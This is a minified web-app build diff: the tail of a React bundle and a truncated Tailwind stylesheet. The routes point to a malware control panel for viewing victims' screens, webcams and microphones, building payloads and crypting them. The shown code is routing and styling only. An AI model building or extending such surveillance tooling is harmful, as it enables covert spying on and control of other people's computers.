Yl({children:e}){const{isAuthenticated:t}=is();return t?s.jsx(s.Fragment,{children:e}):s.jsx(Yi,{to:"/",replace:!0})}function bV({children:e}){const{isAuthenticated:t,isAdmin:n}=is();return t?n?s.jsx(s.Fragment,{children:e}):s.jsx(Yi,{to:"/",replace:!0}):s.jsx(Yi,{to:"/login",replace:!0})}function P2({children:e}){const{isAuthenticated:t}=is();return t?s.jsx(Yi,{to:"/dashboard",replace:!0}):s.jsx(s.Fragment,{children:e})}function wV(){const[e]=fx(),t=rr();return p.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(px(n),ui()),t("/dashboard",{replace:!0})},[e,t]),null}function jV(){const{isAuthenticated:e}=is();return e?s.jsx(Yi,{to:"/dashboard",replace:!0}):hx()?s.jsx(IA,{}):s.jsx(Yi,{to:"/login",replace:!0})}function kV(){return s.jsx(JE,{children:s.jsxs(oE,{children:[s.jsx(ft,{path:"/",element:s.jsx(jV,{})}),s.jsx(ft,{path:"/auth",element:s.jsx(wV,{})}),s.jsx(ft,{path:"/features",element:s.jsx(yV,{})}),s.jsx(ft,{path:"/payment/:id",element:s.jsx(pV,{})}),s.jsx(ft,{path:"/login",element:s.jsx(P2,{children:s.jsx(DA,{})})}),s.jsx(ft,{path:"/register",element:s.jsx(P2,{children:s.jsx(RA,{})})}),s.jsx(ft,{path:"/vnc/:id",element:s.jsx(Yl,{children:s.jsx(ZU,{})})}),s.jsx(ft,{path:"/webcam/:id",element:s.jsx(Yl,{children:s.jsx(rV,{})})}),s.jsx(ft,{path:"/mic/:id",element:s.jsx(Yl,{children:s.jsx(aV,{})})}),s.jsxs(ft,{element:s.jsx(Yl,{children:s.jsx(EA,{})}),children:[s.jsx(ft,{path:"/dashboard",element:s.jsx(yU,{})}),s.jsx(ft,{path:"/agents/:id",element:s.jsx(VU,{})}),s.jsx(ft,{path:"/events",element:s.jsx(KU,{})}),s.jsx(ft,{path:"/payloads",element:s.jsx(GU,{})}),s.jsx(ft,{path:"/crypter",element:s.jsx(uV,{})}),s.jsx(ft,{path:"/admin",element:s.jsx(bV,{children:s.jsx(cV,{})})})]}),s.jsx(ft,{path:"*",element:s.jsx(Yi,{to:"/",replace:!0})})]})})}bp.createRoot(document.getElementById("root")).render(s.jsx(vh.StrictMode,{children:s.jsx(xE,{children:s.jsx(kV,{})})})); diff --git a/dist/assets/index-CbtHPv7j.css b/dist/assets/index-CbtHPv7j.css new file mode 100755 index 0000000..79c3cd2 --- /dev/null +++ b/dist/assets/index-CbtHPv7j.css @@ -0,0 +1 @@ +*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.container{width:100%}@media (min-width: 640px){.container{max-width:640px}}@media (min-width: 768px){.container{max-width:768px}}@media (min-width: 1024px){.container{max-width:1024px}}@media (min-width: 1280px){.container{max-width:1280px}}@media (min-width: 1536px){.container{max-width:1536px}}.pointer-events-none{pointer-events:none}.\!visible{visibility:visible!important}.visible{visibility:visible}.static{position:static}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.-inset-\[1px\]{top:-1px;right:-1px;bottom:-1px;left:-1px}.inset-0{top:0;right:0;bottom:0;left:0}.-top-10{top:-2.5rem}.bottom-0{bottom:0}.bottom-10{bottom:2.5rem}.bottom-12{bottom:3rem}.bottom-4{bottom:1rem}.bottom-6{bottom:1.5rem}.bottom-full{bottom:100%}.left-0{left:0}.left-0\.5{left:.125rem}.left-1\/2{left:50%}.left-2\.5{left:.625rem}.left-6{left:1.5rem}.left-full{left:100%}.right-0{right:0}.right-4{right:1rem}.right-full{right:100%}.top-0{top:0}.top-0\.5{top:.125rem}.top-1\/2{top:50%}.top-24{top:6rem}.top-4{top:1rem}.top-\[2px\]{top:2px}.top-full{top:100%}.z-10{z-index:10}.z-20{z-index:20}.z-40{z-index:40}.z-50{z-index:50}.z-\[10000\]{z-index:10000}.z-\[100\]{z-index:100}.z-\[9000\]{z-index:9000}.z-\[9998\]{z-index:9998}.z-\[9999\]{z-index:9999}.col-span-12{grid-column:span 12 / span 12}.col-span-2{grid-column:span 2 / span 2}.mx-0\.5{margin-left:.125rem;margin-right:.125rem}.mx-2{margin-left:.5rem;margin-right:.5rem}.mx-3{margin-left:.75rem;margin-right:.75rem}.mx-4{margin-left:1rem;margin-right:1rem}.mx-6{margin-left:1.5rem;margin-right:1.5rem}.mx-auto{margin-left:auto;margin-right:auto}.my-1{margin-top:.25rem;margin-bottom:.25rem}.-mb-px{margin-bottom:-1px}.mb-0{margin-bottom:0}.mb-0\.5{margin-bottom:.125rem}.mb-1{margin-bottom:.25rem}.mb-1\.5{margin-bottom:.375rem}.mb-10{margin-bottom:2.5rem}.mb-14{margin-bottom:3.5rem}.mb-16{margin-bottom:4rem}.mb-2{margin-bottom:.5rem}.mb-2\.5{margin-bottom:.625rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.mb-5{margin-bottom:1.25rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.ml-0{margin-left:0}.ml-0\.5{margin-left:.125rem}.ml-1{margin-left:.25rem}.ml-1\.5{margin-left:.375rem}.ml-2{margin-left:.5rem}.ml-3{margin-left:.75rem}.ml-\[100px\]{margin-left:100px}.ml-\[1px\]{margin-left:1px}.ml-auto{margin-left:auto}.mr-1{margin-right:.25rem}.mr-2{margin-right:.5rem}.mr-3{margin-right:.75rem}.mr-\[1px\]{margin-right:1px}.mt-0\.5{margin-top:.125rem}.mt-1{margin-top:.25rem}.mt-1\.5{margin-top:.375rem}.mt-10{margin-top:2.5rem}.mt-14{margin-top:3.5rem}.mt-2{margin-top:.5rem}.mt-20{margin-top:5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-7{margin-top:1.75rem}.mt-8{margin-top:2rem}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.inline-flex{display:inline-flex}.table{display:table}.grid{display:grid}.hidden{display:none}.aspect-video{aspect-ratio:16 / 9}.h-1{height:.25rem}.h-1\.5{height:.375rem}.h-10{height:2.5rem}.h-12{height:3rem}.h-14{height:3.5rem}.h-16{height:4rem}.h-2{height:.5rem}.h-2\.5{height:.625rem}.h-24{height:6rem}.h-28{height:7rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-6{height:1.5rem}.h-64{height:16rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-9{height:2.25rem}.h-\[1px\]{height:1px}.h-\[20px\]{height:20px}.h-\[2px\]{height:2px}.h-\[3px\]{height:3px}.h-\[500px\]{height:500px}.h-\[600px\]{height:600px}.h-full{height:100%}.h-screen{height:100vh}.max-h-32{max-height:8rem}.max-h-48{max-height:12rem}.max-h-\[340px\]{max-height:340px}.max-h-\[500px\]{max-height:500px}.max-h-\[50vh\]{max-height:50vh}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-full{max-height:100%}.min-h-0{min-height:0px}.min-h-\[200px\]{min-height:200px}.min-h-\[calc\(100vh\+100px\)\]{min-height:calc(100vh + 100px)}.min-h-\[calc\(100vh-64px\)\]{min-height:calc(100vh - 64px)}.min-h-screen{min-height:100vh}.w-0{width:0px}.w-0\.5{width:.125rem}.w-1{width:.25rem}.w-1\.5{width:.375rem}.w-10{width:2.5rem}.w-12{width:3rem}.w-14{width:3.5rem}.w-16{width:4rem}.w-2{width:.5rem}.w-2\.5{width:.625rem}.w-20{width:5rem}.w-24{width:6rem}.w-28{width:7rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-4{width:1rem}.w-40{width:10rem}.w-5{width:1.25rem}.w-56{width:14rem}.w-6{width:1.5rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-80{width:20rem}.w-9{width:2.25rem}.w-96{width:24rem}.w-\[1000px\]{width:1000px}.w-\[100px\]{width:100px}.w-\[120px\]{width:120px}.w-\[140px\]{width:140px}.w-\[1px\]{width:1px}.w-\[200px\]{width:200px}.w-\[2px\]{width:2px}.w-\[40px\]{width:40px}.w-\[480px\]{width:480px}.w-\[800px\]{width:800px}.w-\[80px\]{width:80px}.w-full{width:100%}.w-px{width:1px}.w-screen{width:100vw}.min-w-0{min-width:0px}.min-w-\[170px\]{min-width:170px}.min-w-\[200px\]{min-width:200px}.min-w-\[210px\]{min-width:210px}.min-w-\[340px\]{min-width:340px}.max-w-2xl{max-width:42rem}.max-w-3xl{max-width:48rem}.max-w-4xl{max-width:56rem}.max-w-5xl{max-width:64rem}.max-w-6xl{max-width:72rem}.max-w-\[160px\]{max-width:160px}.max-w-\[200px\]{max-width:200px}.max-w-\[300px\]{max-width:300px}.max-w-\[400px\]{max-width:400px}.max-w-\[80\%\]{max-width:80%}.max-w-\[90vw\]{max-width:90vw}.max-w-full{max-width:100%}.max-w-lg{max-width:32rem}.max-w-md{max-width:28rem}.max-w-sm{max-width:24rem}.max-w-xl{max-width:36rem}.max-w-xs{max-width:20rem}.flex-1{flex:1 1 0%}.flex-shrink-0,.shrink-0{flex-shrink:0}.-translate-x-1\/2{--tw-translate-x: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-4{--tw-translate-x: -1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-full{--tw-translate-x: -100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-y-1\/2{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0{--tw-translate-x: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0\.5{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-4{--tw-translate-x: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-0{--tw-translate-y: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-3{--tw-translate-y: .75rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-4{--tw-translate-y: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-180{--tw-rotate: 180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.animate-fade-in{animation:fadeIn .25s ease-out}@keyframes ping{75%,to{transform:scale(2);opacity:0}}.animate-ping{animation:ping 1s cubic-bezier(0,0,.2,1) infinite}@keyframes pulse{50%{opacity:.5}}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes pulseDot{0%,to{opacity:1}50%{opacity:.4}}.animate-pulse-dot{animation:pulseDot 2s ease-in-out infinite}@keyframes scaleIn{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.animate-scale-in{animation:scaleIn .15s ease-out}@keyframes slideInRight{0%{opacity:0;transform:translate(24px)}to{opacity:1;transform:translate(0)}}.animate-slide-in-right{animation:slideInRight .25s ease-out}@keyframes slideUp{0%{opacity:0;transform:translateY(8px)}to{opacity:1;transform:translateY(0)}}.animate-slide-up{animation:slideUp .2s ease-out}@keyframes slideUpPanel{0%{transform:translateY(100%)}to{transform:translateY(0)}}.animate-slide-up-panel{animation:slideUpPanel .3s ease-out}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-default{cursor:default}.cursor-not-allowed{cursor:not-allowed}.cursor-pointer{cursor:pointer}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.select-all{-webkit-user-select:all;-moz-user-select:all;user-select:all}.resize-none{resize:none}.resize{resize:both}.scroll-mt-24{scroll-margin-top:6rem}.list-inside{list-style-position:inside}.list-disc{list-style-type:disc}.appearance-none{-webkit-appearance:none;-moz-appearance:none;appearance:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-12{grid-template-columns:repeat(12,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-\[100px_140px_1fr_140px\]{grid-template-columns:100px 140px 1fr 140px}.grid-cols-\[110px_1fr_90px_160px_80px_150px\]{grid-template-columns:110px 1fr 90px 160px 80px 150px}.grid-cols-\[1fr_70px_60px_120px_100px_140px_70px_100px\]{grid-template-columns:1fr 70px 60px 120px 100px 140px 70px 100px}.grid-cols-\[24px_1fr\]{grid-template-columns:24px 1fr}.grid-cols-\[80px_1fr_120px_70px\]{grid-template-columns:80px 1fr 120px 70px}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-start{justify-content:flex-start}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-0\.5{gap:.125rem}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-10{gap:2.5rem}.gap-12{gap:3rem}.gap-2{gap:.5rem}.gap-2\.5{gap:.625rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.gap-5{gap:1.25rem}.gap-6{gap:1.5rem}.gap-8{gap:2rem}.gap-\[1px\]{gap:1px}.gap-x-4{-moz-column-gap:1rem;column-gap:1rem}.gap-y-4{row-gap:1rem}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-2\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.625rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.625rem * var(--tw-space-y-reverse))}.space-y-24>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(6rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(6rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.25rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.space-y-\[1px\]>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1px * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1px * var(--tw-space-y-reverse))}.divide-y>:not([hidden])~:not([hidden]){--tw-divide-y-reverse: 0;border-top-width:calc(1px * calc(1 - var(--tw-divide-y-reverse)));border-bottom-width:calc(1px * var(--tw-divide-y-reverse))}.divide-zerin-panel-border>:not([hidden])~:not([hidden]){--tw-divide-opacity: 1;border-color:rgb(31 31 35 / var(--tw-divide-opacity, 1))}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.overflow-x-hidden{overflow-x:hidden}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.rounded{border-radius:.25rem}.rounded-full{border-radius:9999px}.rounded-sm{border-radius:.125rem}.border{border-width:1px}.border-0{border-width:0px}.border-2{border-width:2px}.border-b{border-bottom-width:1px}.border-b-2{border-bottom-width:2px}.border-l{border-left-width:1px}.border-l-2{border-left-width:2px}.border-r{border-right-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-\[\#00F0FF\]\/30{border-color:#00f0ff4d}.border-\[\#111118\]{--tw-border-opacity: 1;border-color:rgb(17 17 24 / var(--tw-border-opacity, 1))}.border-\[\#1a1a20\]{--tw-border-opacity: 1;border-color:rgb(26 26 32 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]{--tw-border-opacity: 1;border-color:rgb(26 26 34 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]\/30{border-color:#1a1a224d}.border-\[\#1a1a22\]\/50{border-color:#1a1a2280}.border-\[\#1f1f25\]{--tw-border-opacity: 1;border-color:rgb(31 31 37 / var(--tw-border-opacity, 1))}.border-\[\#ff69b4\]\/25{border-color:#ff69b440}.border-amber-500\/15{border-color:#f59e0b26}.border-amber-500\/20{border-color:#f59e0b33}.border-blue-500\/20{border-color:#3b82f633}.border-emerald-400\/20{border-color:#34d39933}.border-emerald-500\/20{border-color:#10b98133}.border-emerald-500\/40{border-color:#10b98166}.border-orange-500\/20{border-color:#f9731633}.border-purple-500\/20{border-color:#a855f733}.border-purple-500\/50{border-color:#a855f780}.border-red-500\/20{border-color:#ef444433}.border-red-500\/30{border-color:#ef44444d}.border-transparent{border-color:transparent}.border-white\/30{border-color:#ffffff4d}.border-zerin-accent{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-zerin-accent\/15{border-color:#06b6d426}.border-zerin-accent\/20{border-color:#06b6d433}.border-zerin-accent\/25{border-color:#06b6d440}.border-zerin-accent\/30{border-color:#06b6d44d}.border-zerin-accent\/40{border-color:#06b6d466}.border-zerin-accent\/50{border-color:#06b6d480}.border-zerin-danger\/20{border-color:#ef444433}.border-zerin-danger\/30{border-color:#ef44444d}.border-zerin-danger\/40{border-color:#ef444466}.border-zerin-danger\/50{border-color:#ef444480}.border-zerin-panel-border{--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-zerin-panel-border\/50{border-color:#1f1f2380}.border-zinc-500\/20{border-color:#71717a33}.border-zinc-700{--tw-border-opacity: 1;border-color:rgb(63 63 70 / var(--tw-border-opacity, 1))}.border-b-zerin-panel-border{--tw-border-opacity: 1;border-bottom-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-l-zerin-accent{--tw-border-opacity: 1;border-left-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-r-zerin-panel-border{--tw-border-opacity: 1;border-right-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-t-white{--tw-border-opacity: 1;border-top-color:rgb(255 255 255 / var(--tw-border-opacity, 1))}.border-t-zerin-accent{--tw-border-opacity: 1;border-top-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-t-zerin-panel-border{--tw-border-opacity: 1;border-top-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.bg-\[\#04040a\]{--tw-bg-opacity: 1;background-color:rgb(4 4 10 / var(--tw-bg-opacity, 1))}.bg-\[\#04040a\]\/80{background-color:#04040acc}.bg-\[\#06060b\]{--tw-bg-opacity: 1;background-color:rgb(6 6 11 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]{--tw-bg-opacity: 1;background-color:rgb(8 8 12 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]\/50{background-color:#08080c80}.bg-\[\#08080c\]\/60{background-color:#08080c99}.bg-\[\#09090b\]{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-\[\#0a0a0e\]{--tw-bg-opacity: 1;background-color:rgb(10 10 14 / var(--tw-bg-opacity, 1))}.bg-\[\#0d0d11\]{--tw-bg-opacity: 1;background-color:rgb(13 13 17 / var(--tw-bg-opacity, 1))}.bg-\[\#111118\]{--tw-bg-opacity: 1;background-color:rgb(17 17 24 / var(--tw-bg-opacity, 1))}.bg-\[\#16161c\]{--tw-bg-opacity: 1;background-color:rgb(22 22 28 / var(--tw-bg-opacity, 1))}.bg-\[\#18181c\]{--tw-bg-opacity: 1;background-color:rgb(24 24 28 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a20\]{--tw-bg-opacity: 1;background-color:rgb(26 26 32 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]{--tw-bg-opacity: 1;background-color:rgb(26 26 34 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]\/30{background-color:#1a1a224d}.bg-amber-400{--tw-bg-opacity: 1;background-color:rgb(251 191 36 / var(--tw-bg-opacity, 1))}.bg-amber-400\/10{background-color:#fbbf241a}.bg-amber-500\/10{background-color:#f59e0b1a}.bg-amber-500\/5{background-color:#f59e0b0d}.bg-amber-600{--tw-bg-opacity: 1;background-color:rgb(217 119 6 / var(--tw-bg-opacity, 1))}.bg-black\/50{background-color:#00000080}.bg-black\/60{background-color:#0009}.bg-black\/70{background-color:#000000b3}.bg-black\/80{background-color:#000c}.bg-black\/90{background-color:#000000e6}.bg-blue-500\/10{background-color:#3b82f61a}.bg-emerald-400{--tw-bg-opacity: 1;background-color:rgb(52 211 153 / var(--tw-bg-opacity, 1))}.bg-emerald-400\/10{background-color:#34d3991a}.bg-emerald-400\/80{background-color:#34d399cc}.bg-emerald-500{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.bg-emerald-500\/10{background-color:#10b9811a}.bg-emerald-500\/20{background-color:#10b98133}.bg-emerald-500\/5{background-color:#10b9810d}.bg-emerald-600{--tw-bg-opacity: 1;background-color:rgb(5 150 105 / var(--tw-bg-opacity, 